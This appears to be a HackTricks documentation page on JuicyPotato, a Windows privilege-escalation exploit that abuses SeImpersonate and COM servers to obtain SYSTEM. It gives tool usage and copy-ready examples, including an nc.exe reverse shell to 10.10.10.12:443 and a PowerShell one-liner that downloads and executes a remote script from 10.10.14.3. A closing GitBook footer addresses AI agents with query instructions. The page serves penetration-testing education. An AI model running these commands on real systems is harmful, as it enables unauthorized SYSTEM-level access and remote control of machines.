> For the complete documentation index, see [llms.txt](https://blog.1nf1n1ty.team/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.1nf1n1ty.team/hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md). # JuicyPotato {% hint style="success" %} Learn & practice AWS Hacking:

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Learn & practice GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Support HackTricks

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

{% endhint %} ### [WhiteIntel](https://whiteintel.io)

[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**. Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware. You can check their website and try their engine for **free** at: {% embed url="" %} *** {% hint style="warning" %} **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. ***Check:*** {% endhint %} {% content-ref url="/pages/APjyysOa3io8S82w4wHl" %} [RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md) {% endcontent-ref %} ## Juicy Potato (abusing the golden privileges) *A sugared version of* [*RottenPotatoNG*](https://github.com/breenmachine/RottenPotatoNG)*, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM*** #### You can download juicypotato from ### Summary [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`](https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799\(v=vs.85\).aspx) [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. > For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. We discovered that, other than `BITS` there are a several COM servers we can abuse. They just need to: 1. be instantiable by the current user, normally a “service user” which has impersonation privileges 2. implement the `IMarshal` interface 3. run as an elevated user (SYSTEM, Administrator, …) After some testing we obtained and tested an extensive list of [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) on several Windows versions. ### Juicy details JuicyPotato allows you to: * **Target CLSID** *pick any CLSID you want.* [*Here*](http://ohpe.it/juicy-potato/CLSID/) *you can find the list organized by OS.* * **COM Listening port** *define COM listening port you prefer (instead of the marshalled hardcoded 6666)* * **COM Listening IP address** *bind the server on any IP* * **Process creation mode** *depending on the impersonated user’s privileges you can choose from:* * `CreateProcessWithToken` (needs `SeImpersonate`) * `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) * `both` * **Process to launch** *launch an executable or script if the exploitation succeeds* * **Process Argument** *customize the launched process arguments* * **RPC Server address** *for a stealthy approach you can authenticate to an external RPC server* * **RPC Server port** *useful if you want to authenticate to an external server and firewall is blocking port `135`…* * **TEST mode** *mainly for testing purposes, i.e. testing CLSIDs. It creates the DCOM and prints the user of token. See* [*here for testing*](http://ohpe.it/juicy-potato/Test/) ### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 Mandatory args: -t createprocess call: CreateProcessWithTokenW, CreateProcessAsUser, <*> try both -p : program to launch -l : COM server listen port Optional args: -m : COM server listen address (default 127.0.0.1) -a : command line argument to pass to program (default NULL) -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` ### Final thoughts [**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** If the user has `SeImpersonate` or `SeAssignPrimaryToken` privileges then you are **SYSTEM**. It’s nearly impossible to prevent the abuse of all these COM Servers. You could think about modifying the permissions of these objects via `DCOMCNFG` but good luck, this is gonna be challenging. The actual solution is to protect sensitive accounts and applications which run under the `* SERVICE` accounts. Stopping `DCOM` would certainly inhibit this exploit but could have a serious impact on the underlying OS. From: ## Examples Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. ### Get a nc.exe reverse shell ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK c:\Users\Public> ``` ### Powershell rev ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` ### Launch a new CMD (if you have RDP access) ![](/files/HZBCe8zkhXytASZ1HUbW) ## CLSID Problems Oftentimes, the default CLSID that JuicyPotato uses **doesn't work** and the exploit fails. Usually, it takes multiple attempts to find a **working CLSID**. To get a list of CLSIDs to try for a specific operating system, you should visit this page: {% embed url="" %} ### **Checking CLSIDs** First, you will need some executables apart from juicypotato.exe. Download [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) and load it into your PS session, and download and execute [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1). That script will create a list of possible CLSIDs to test. Then download [test\_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(change the path to the CLSID list and to the juicypotato executable) and execute it. It will start trying every CLSID, and **when the port number changes, it will mean that the CLSID worked**. **Check** the working CLSIDs **using the parameter -c** ## References * ### [WhiteIntel](https://whiteintel.io)

[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)

\ Learn & practice GCP Hacking:

[**HackTricks Training GCP Red Team Expert (GRTE)**

](https://training.hacktricks.xyz/courses/grte)

Support HackTricks

{% endhint %} --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://blog.1nf1n1ty.team/hacktricks/windows-hardening/windows-local-privilege-escalation/juicypotato.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.